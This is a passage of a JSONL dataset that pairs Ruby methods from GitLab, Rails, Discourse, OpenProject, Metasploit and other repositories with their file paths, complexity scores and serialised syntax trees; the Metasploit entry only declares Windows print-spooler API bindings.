hildren\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"decr\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"amount\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"expires_in\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}","id":"64c6121e-31ef-4112-b018-5dfad3499c1f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/formatters/test_metrics_formatter.rb","start_line":277,"raw_source":"def job_name\n          @job_name ||= ci_job_name&.gsub(%r{ \\d{1,2}/\\d{1,2}}, '')\n        end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"job_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@job_name\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ci_job_name\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\" \\\\d{1,2}/\\\\d{1,2}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"1e183cae-3471-44c7-969a-40f51f7c0adc"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/rss/media_content.rb","start_line":30,"raw_source":"def thumbnail(str)\n    append_element('media:thumbnail') do |thumbnail|\n      thumbnail['url'] = str\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"thumbnail\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"append_element\",{\"type\":\"str\",\"children\":[\"media:thumbnail\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"thumbnail\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thumbnail\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}]}","id":"78590380-4b69-408e-90d6-c145b469a2f9"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/attached/changes/create_one.rb","start_line":19,"raw_source":"def blob\n      @blob ||= find_or_build_blob\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"blob\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@blob\"]},{\"type\":\"send\",\"children\":[null,\"find_or_build_blob\"]}]}]}","id":"1f581aca-1568-44f1-990f-c17d79af9742"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-github/app/lib/github_linkback.rb","start_line":92,"raw_source":"def create\n    return [] if SiteSetting.github_linkback_access_token.blank?\n\n    links = []\n\n    DistributedMutex.synchronize(\"github_linkback_#{@post.id}\") do\n      links = github_links\n      return [] if links.length() > SiteSetting.github_linkback_maximum_links\n\n      links.each do |link|\n        case link.type\n        when :commit\n          post_commit(link)\n        when :pr\n          post_pr_or_issue(link, :pr)\n        when :issue\n          post_pr_or_issue(link, :issue)\n        else\n          next\n        end\n\n        # Don't post the same link twice\n        @post.custom_fields[GithubLinkback.field_for(link.url)] = \"true\"\n      end\n      @post.save_custom_fields\n    end\n\n    links\n  end","complexity_score":36.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"github_linkback_access_token\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"links\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DistributedMutex\"]},\"synchronize\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"github_linkback_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"id\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"links\",{\"type\":\"send\",\"children\":[null,\"github_links\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"links\"]},\"length\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"github_linkback_maximum_links\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"links\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit\"]},{\"type\":\"send\",\"children\":[null,\"post_commit\",{\"type\":\"lvar\",\"children\":[\"link\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"pr\"]},{\"type\":\"send\",\"children\":[null,\"post_pr_or_issue\",{\"type\":\"lvar\",\"children\":[\"link\"]},{\"type\":\"sym\",\"children\":[\"pr\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"send\",\"children\":[null,\"post_pr_or_issue\",{\"type\":\"lvar\",\"children\":[\"link\"]},{\"type\":\"sym\",\"children\":[\"issue\"]}]}]},{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"custom_fields\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GithubLinkback\"]},\"field_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"url\"]}]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"save_custom_fields\"]}]}]},{\"type\":\"lvar\",\"children\":[\"links\"]}]}]}","id":"2fa9b672-65ec-4ce6-b75a-8d0315c9e3ac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notes/resolve_service.rb","start_line":5,"raw_source":"def execute(note)\n      note.resolve!(current_user)\n\n      case note.noteable\n      when MergeRequest\n        ::MergeRequests::ResolvedDiscussionNotificationService\n          .new(project: project, current_user: current_user)\n          .execute(note.noteable)\n      end\n    end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"resolve!\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"noteable\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"ResolvedDiscussionNotificationService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"noteable\"]}]}]},null]}]}]}","id":"3b8dd7a9-4151-4c76-83f5-97e48d130312"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/run_pipeline_schedule_worker.rb","start_line":89,"raw_source":"def notify_project_owner_and_deactivate_schedule(schedule)\n    NotificationService.new.pipeline_schedule_owner_unavailable(schedule)\n    schedule.deactivate!\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"notify_project_owner_and_deactivate_schedule\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"schedule\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationService\"]},\"new\"]},\"pipeline_schedule_owner_unavailable\",{\"type\":\"lvar\",\"children\":[\"schedule\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schedule\"]},\"deactivate!\"]}]}]}","id":"565563a2-7fb9-4fb4-ad0c-fe4e86c66148"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/todos/destroy/design_service.rb","start_line":23,"raw_source":"def deleted_designs\n        DesignManagement::Action.by_design(design_ids).by_event(:deletion)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"deleted_designs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DesignManagement\"]},\"Action\"]},\"by_design\",{\"type\":\"send\",\"children\":[null,\"design_ids\"]}]},\"by_event\",{\"type\":\"sym\",\"children\":[\"deletion\"]}]}]}","id":"585117ad-ce34-4574-8a2a-48841dbf3494"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":935,"raw_source":"def test_render_template_with_locals\n    get :render_template_with_locals\n    assert_equal \"The secret is in the sauce\\n\", @response.body\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_template_with_locals\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"render_template_with_locals\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"The secret is in the sauce\\n\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"9fe15c5f-2f14-4e17-9092-eef0d9df5a5f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_widget.rb","start_line":183,"raw_source":"def log_prefix\n    \"Widget: [#{title}] ID: [#{id}]\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Widget: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]}]},{\"type\":\"str\",\"children\":[\"] ID: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}","id":"4e334b75-e7d4-475b-be72-a8047d12534e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/stages.rb","start_line":19,"raw_source":"def initialize(config)\n          @config = config.to_h.deep_dup\n          @stages = extract_stages\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"to_h\"]},\"deep_dup\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@stages\",{\"type\":\"send\",\"children\":[null,\"extract_stages\"]}]}]}]}","id":"45af46d2-b6be-4a4e-818b-1dda3e9be008"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/uploaders/fog_file_uploader.rb","start_line":44,"raw_source":"def copy_to(attachment)\n    attachment.file = local_file\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"file=\",{\"type\":\"send\",\"children\":[null,\"local_file\"]}]}]}","id":"cfff58e7-7082-41dd-896e-4ccdeb5da43c"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/concerns/work_package_by_button_creator.rb","start_line":47,"raw_source":"def expect_wp_create_button\n          expect(page)\n            .to have_css(\".add-work-package:not([disabled])\", text: \"Create\")\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_wp_create_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".add-work-package:not([disabled])\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"Create\"]}]}]}]}]}]}","id":"b7e7a38b-43e4-4641-9771-8f37295b92c5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/authorization/query_transformation_visitor.rb","start_line":61,"raw_source":"def visit_Arel_Nodes_OuterJoin(ast)\n    visit ast.right\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_OuterJoin\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ast\"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"right\"]}]}]}","id":"b27777ac-11d1-4ec4-bdac-c7f62c5455ff"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/grant_flow/registry.rb","start_line":45,"raw_source":"def get(name)\n        flows[name.to_sym]\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flows\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]}]}","id":"a87cb154-069d-499b-9b42-7e9ef2d7b6f6"}
{"repo_name":"openproject","file_path":"./repos/openproject/config/constants/settings/definition.rb","start_line":1619,"raw_source":"def cast(value)\n      return nil if value.nil?\n\n      value = value.call if value.respond_to?(:call)\n\n      case format\n      when :integer\n        value.to_i\n      when :float\n        value.to_f\n      when :boolean\n        AR_BOOLEAN_TYPE.cast(value)\n      when :symbol\n        value.to_sym\n      else\n        value\n      end\n    end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cast\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"call\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"call\"]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"float\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_f\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AR_BOOLEAN_TYPE\"]},\"cast\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbol\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_sym\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"27a7238e-cbeb-4647-9e47-50bfdd80ea05"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/system/page_objects/components/ai_post_helper_menu.rb","start_line":18,"raw_source":"def click_ai_button\n        find(TRIGGER_SELECTOR).click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_ai_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"const\",\"children\":[null,\"TRIGGER_SELECTOR\"]}]},\"click\"]}]}","id":"75c508b3-c369-474c-af68-f5659f1139bb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/ci/helpers/runner.rb","start_line":148,"raw_source":"def job_from_token\n          # Uses the Ci::AuthJobFinder, which we want to use\n          # as the sole centralized job token authentication service.\n          #\n          # If the token does not link to the URL-specified job,\n          # return a generic auth error with no build details.\n\n          return unless current_job\n          return unless current_job == ::Ci::AuthJobFinder.new(token: job_token).execute!\n\n          current_job\n        end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"job_from_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_job\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_job\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"AuthJobFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[null,\"job_token\"]}]}]}]},\"execute!\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"current_job\"]}]}]}","id":"bbd6bbaa-1039-479f-9476-b5f012dd7a02"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers.rb","start_line":1058,"raw_source":"def job_token_policies_authorized?(project)\n      return true unless current_user&.from_ci_job_token?\n      return true if skip_job_token_policies?\n      return true if publicly_accessible_feature?(project)\n\n      current_user.ci_job_token_scope.policies_allowed?(project, job_token_policies)\n    end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"job_token_policies_authorized?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"from_ci_job_token?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_job_token_policies?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"publicly_accessible_feature?\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"ci_job_token_scope\"]},\"policies_allowed?\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"job_token_policies\"]}]}]}]}","id":"71bbb4dc-2016-42c9-90b6-597465cc2b48"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_winspool.rb","start_line":12,"raw_source":"def self.create_library(constant_manager, library_path = 'winspool.drv')\n    dll = Library.new(library_path, constant_manager)\n\n    dll.add_function('AddPrinterA', 'HANDLE',[\n      [\"PCHAR\",\"pName\",\"in\"],\n      [\"DWORD\",\"Level\",\"in\"],\n      [\"PBLOB\",\"pPrinter\",\"in\"]\n    ])\n\n    dll.add_function('AddPrinterW', 'HANDLE',[\n      [\"PWCHAR\",\"pName\",\"in\"],\n      [\"DWORD\",\"Level\",\"in\"],\n      [\"PBLOB\",\"pPrinter\",\"in\"]\n    ])\n\n    dll.add_function('EnumPrinterDriversA', 'BOOL',[\n      [\"PCHAR\",\"pName\",\"in\"],\n      [\"PCHAR\",\"pEnvironment\",\"in\"],\n      [\"DWORD\",\"Level\",\"in\"],\n      [\"PBLOB\",\"pDriverInfo\",\"out\"],\n      [\"DWORD\",\"cbBuf\",\"in\"],\n      [\"PDWORD\",\"pcbNeeded\",\"out\"],\n      [\"PDWORD\",\"pcReturned\",\"out\"]\n    ])\n\n    dll.add_function('EnumPrinterDriversW', 'BOOL',[\n      [\"PWCHAR\",\"pName\",\"in\"],\n      [\"PWCHAR\",\"pEnvironment\",\"in\"],\n      [\"DWORD\",\"Level\",\"in\"],\n      [\"PBLOB\",\"pDriverInfo\",\"out\"],\n      [\"DWORD\",\"cbBuf\",\"in\"],\n      [\"PDWORD\",\"pcbNeeded\",\"out\"],\n      [\"PDWORD\",\"pcReturned\",\"out\"]\n    ])\n\n    dll.add_function('EnumPrintersA', 'BOOL',[\n      [\"DWORD\",\"Flags\",\"in\"],\n      [\"PCHAR\",\"Name\",\"in\"],\n      [\"DWORD\",\"Level\",\"in\"],\n      [\"PBLOB\",\"pPrinterEnum\",\"out\"],\n      [\"DWORD\",\"cbBuf\",\"in\"],\n      [\"PDWORD\",\"pcbNeeded\",\"out\"],\n      [\"PDWORD\",\"pcReturned\",\"out\"]\n    ])\n\n    dll.add_function('EnumPrintersW', 'BOOL',[\n      [\"DWORD\",\"Flags\",\"in\"],\n      [\"PWCHAR\",\"Name\",\"in\"],\n      [\"DWORD\",\"Level\",\"in\"],\n      [\"PBLOB\",\"pPrinterEnum\",\"out\"],\n      [\"DWORD\",\"cbBuf\",\"in\"],\n      [\"PDWORD\",\"pcbNeeded\",\"out\"],\n      [\"PDWORD\",\"pcReturned\",\"out\"]\n    ])\n\n    dll.add_function('SetPrinterDataExA', 'DWORD',[\n      [\"HANDLE\",\"hPrinter\",\"in\"],\n      [\"PCHAR\",\"pKeyName\",\"in\"],\n      [\"PCHAR\",\"pValueName\",\"in\"],\n      [\"DWORD\",\"Type\",\"in\"],\n      [\"PBLOB\",\"pData\",\"in\"],\n      [\"DWORD\",\"cbData\",\"in\"]\n    ])\n\n    dll.add_function('SetPrinterDataExW', 'DWORD',[\n      [\"HANDLE\",\"hPrinter\",\"in\"],\n      [\"PWCHAR\",\"pKeyName\",\"in\"],\n      [\"PWCHAR\",\"pValueName\",\"in\"],\n      [\"DWORD\",\"Type\",\"in\"],\n      [\"PBLOB\",\"pData\",\"in\"],\n      [\"DWORD\",\"cbData\",\"in\"]\n    ])\n\n    dll.add_function('OpenPrinterA','BOOL',[\n      [\"PCHAR\",\"pPrinterName\",\"in\"],\n      [\"PDWORD\",\"phPrinter\",\"out\"],\n      [\"PBLOB\",\"pDefault\",\"in\"]\n    ])\n\n    dll.add_function('OpenPrinterW','BOOL',[\n      [\"PWCHAR\",\"pPrinterName\",\"in\"],\n      [\"PDWORD\",\"phPrinter\",\"out\"],\n      [\"PBLOB\",\"pDefault\",\"in\"]\n    ])\n\n    return dll\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_library\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"constant_manager\"]},{\"type\":\"optarg\",\"children\":[\"library_path\",{\"type\":\"str\",\"children\":[\"winspool.drv\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dll\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Library\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"library_path\"]},{\"type\":\"lvar\",\"children\":[\"constant_manager\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"AddPrinterA\"]},{\"type\":\"str\",\"children\":[\"HANDLE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PCHAR\"]},{\"type\":\"str\",\"children\":[\"pName\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"Level\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"pPrinter\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"AddPrinterW\"]},{\"type\":\"str\",\"children\":[\"HANDLE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PWCHAR\"]},{\"type\":\"str\",\"children\":[\"pName\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"Level\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"pPrinter\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"EnumPrinterDriversA\"]},{\"type\":\"str\",\"children\":[\"BOOL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PCHAR\"]},{\"type\":\"str\",\"children\":[\"pName\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PCHAR\"]},{\"type\":\"str\",\"children\":[\"pEnvironment\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"Level\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"pDriverInfo\"]},{\"type\":\"str\",\"children\":[\"out\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"cbBuf\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"pcbNeeded\"]},{\"type\":\"str\",\"children\":[\"out\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"pcReturned\"]},{\"type\":\"str\",\"children\":[\"out\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"EnumPrinterDriversW\"]},{\"type\":\"str\",\"children\":[\"BOOL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PWCHAR\"]},{\"type\":\"str\",\"children\":[\"pName\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PWCHAR\"]},{\"type\":\"str\",\"children\":[\"pEnvironment\"]},{\"type\":\"str\",\"children\":[\